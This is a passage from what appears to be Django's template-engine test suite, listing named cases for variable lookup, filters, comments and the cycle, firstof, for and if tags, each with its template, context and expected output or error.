            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1','two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A','two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A & B &amp; C & D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one' : 'A & B', 'two' : 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1,2,3,4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1,2,3,4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '<'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a':0,'b':0,'c':0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a':1,'b':0,'c':0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a':0,'b':2,'c':0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a':0,'b':0,'c':3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a':1,'b':2,'c':3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b':0,'c':3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a':0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a':0,'b':0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '<'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

            ### FOR TAG ###############################################################
            'for-tag01': (""{% for val in values %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag02': (""{% for val in values reversed %}{{ val }}{% endfor %}"", {""values"": [1, 2, 3]}, ""321""),
            'for-tag-vars01': (""{% for val in values %}{{ forloop.counter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""123""),
            'for-tag-vars02': (""{% for val in values %}{{ forloop.counter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""012""),
            'for-tag-vars03': (""{% for val in values %}{{ forloop.revcounter }}{% endfor %}"", {""values"": [6, 6, 6]}, ""321""),
            'for-tag-vars04': (""{% for val in values %}{{ forloop.revcounter0 }}{% endfor %}"", {""values"": [6, 6, 6]}, ""210""),
            'for-tag-vars05': (""{% for val in values %}{% if forloop.first %}f{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""fxx""),
            'for-tag-vars06': (""{% for val in values %}{% if forloop.last %}l{% else %}x{% endif %}{% endfor %}"", {""values"": [6, 6, 6]}, ""xxl""),
            'for-tag-unpack01': (""{% for key,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack03': (""{% for key, value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack04': (""{% for key , value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack05': (""{% for key ,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            'for-tag-unpack06': (""{% for key value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack07': (""{% for key,,value in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            'for-tag-unpack08': (""{% for key,value, in items %}{{ key }}:{{ value }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, template.TemplateSyntaxError),
            # Ensure that a single loopvar doesn't truncate the list in val.
            'for-tag-unpack09': (""{% for val in items %}{{ val.0 }}:{{ val.1 }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, ""one:1/two:2/""),
            # Otherwise, silently truncate if the length of loopvars differs to the length of each set of items.
            'for-tag-unpack10': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'orange'))}, ""one:1/two:2/""),
            'for-tag-unpack11': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1), ('two', 2))}, (""one:1,/two:2,/"", ""one:1,INVALID/two:2,INVALID/"")),
            'for-tag-unpack12': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2))}, (""one:1,carrot/two:2,/"", ""one:1,carrot/two:2,INVALID/"")),
            'for-tag-unpack13': (""{% for x,y,z in items %}{{ x }}:{{ y }},{{ z }}/{% endfor %}"", {""items"": (('one', 1, 'carrot'), ('two', 2, 'cheese'))}, (""one:1,carrot/two:2,cheese/"", ""one:1,carrot/two:2,cheese/"")),
            'for-tag-unpack14': (""{% for x,y in items %}{{ x }}:{{ y }}/{% endfor %}"", {""items"": (1, 2)}, ("":/:/"", ""INVALID:INVALID/INVALID:INVALID/"")),
            'for-tag-empty01': (""{% for val in values %}{{ val }}{% empty %}empty text{% endfor %}"", {""values"": [1, 2, 3]}, ""123""),
            'for-tag-empty02': (""{% for val in values %}{{ val }}{% empty %}values array empty{% endfor %}"", {""values"": []}, ""values array empty""),
            'for-tag-empty03': (""{% for val in values %}{{ val }}{% empty %}values array not found{% endfor %}"", {}, ""values array not found""),
            # Ticket 19882
            'for-tag-filter-ws': (""{% load custom %}{% for x in s|noop:'x y' %}{{ x }}{% endfor %}"", {'s': 'abc'}, 'abc'),

            ### IF TAG ################################################################
            'if-tag01': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": True}, ""yes""),
            'if-tag02': (""{% if foo %}yes{% else %}no{% endif %}"", {""foo"": False}, ""no""),
            'if-tag03': (""{% if foo %}yes{% else %}no{% endif %}"", {}, ""no""),

            'if-tag04': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'foo': True}, ""foo""),
            'if-tag05': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {'bar': True}, ""bar""),
            'if-tag06': (""{% if foo %}foo{% elif bar %}bar{% endif %}"", {}, """"),
            'if-tag07': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag08': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag09': (""{% if foo %}foo{% elif bar %}bar{% else %}nothing{% endif %}"", {}, ""nothing""),
            'if-tag10': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'foo': True}, ""foo""),
            'if-tag11': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'bar': True}, ""bar""),
            'if-tag12': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {'baz': True}, ""baz""),
            'if-tag13': (""{% if foo %}foo{% elif bar %}bar{% elif baz %}baz{% else %}nothing{% endif %}"", {}, ""nothing""),

            # Filters
            'if-tag-filter01': (""{% if foo|length == 5 %}yes{% else %}no{% endif %}"", {'foo': 'abcde'}, ""yes""),
            'if-tag-filter02': (""{% if foo|upper == 'ABC' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Equality
            'if-tag-eq01': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-eq02': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1}, ""no""),
            'if-tag-eq03': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 1}, ""yes""),
            'if-tag-eq04': (""{% if foo == bar %}yes{% else %}no{% endif %}"", {'foo': 1, 'bar': 2}, ""no""),
            'if-tag-eq05': (""{% if foo == '' %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Comparison
            'if-tag-gt-01': (""{% if 2 > 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gt-02': (""{% if 1 > 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-gte-01': (""{% if 1 >= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-gte-02': (""{% if 1 >= 2 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lt-01': (""{% if 1 < 2 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lt-02': (""{% if 1 < 1 %}yes{% else %}no{% endif %}"", {}, ""no""),
            'if-tag-lte-01': (""{% if 1 <= 1 %}yes{% else %}no{% endif %}"", {}, ""yes""),
            'if-tag-lte-02': (""{% if 2 <= 1 %}yes{% else %}no{% endif %}"", {}, ""no""),

            # Contains
            'if-tag-in-01': (""{% if 1 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),
            'if-tag-in-02': (""{% if 2 in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-01': (""{% if 1 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""no""),
            'if-tag-not-in-02': (""{% if 2 not in x %}yes{% else %}no{% endif %}"", {'x':[1]}, ""yes""),

            # AND
            'if-tag-and01': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-and02': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-and03': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-and04': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-and05': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-and06': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-and07': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'no'),
            'if-tag-and08': (""{% if foo and bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'no'),

            # OR
            'if-tag-or01': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-or02': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-or03': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-or04': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),
            'if-tag-or05': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': False}, 'no'),
            'if-tag-or06': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': False}, 'no'),
            'if-tag-or07': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-or08': (""{% if foo or bar %}yes{% else %}no{% endif %}"", {'bar': True}, 'yes'),

            # multiple ORs
            'if-tag-or09': (""{% if foo or bar or baz %}yes{% else %}no{% endif %}"", {'baz': True}, 'yes'),

            # NOT
            'if-tag-not01': (""{% if not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'yes'),
            'if-tag-not02': (""{% if not not foo %}no{% else %}yes{% endif %}"", {'foo': True}, 'no'),
            # not03 to not05 removed, now TemplateSyntaxErrors

            'if-tag-not06': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not07': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not08': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not09': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not10': (""{% if foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not11': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {}, 'no'),
            'if-tag-not12': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not13': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not14': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not15': (""{% if not foo and bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'no'),

            'if-tag-not16': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not17': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not18': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
            'if-tag-not19': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not20': (""{% if foo or not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not21': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not22': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'yes'),
            'if-tag-not23': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not24': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'yes'),
            'if-tag-not25': (""{% if not foo or bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not26': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not27': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not28': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'no'),
            'if-tag-not29': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': True}, 'no'),
            'if-tag-not30': (""{% if not foo and not bar %}yes{% else %}no{% endif %}"", {'foo': False, 'bar': False}, 'yes'),

            'if-tag-not31': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {}, 'yes'),
            'if-tag-not32': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': True}, 'no'),
            'if-tag-not33': (""{% if not foo or not bar %}yes{% else %}no{% endif %}"", {'foo': True, 'bar': False}, 'yes'),
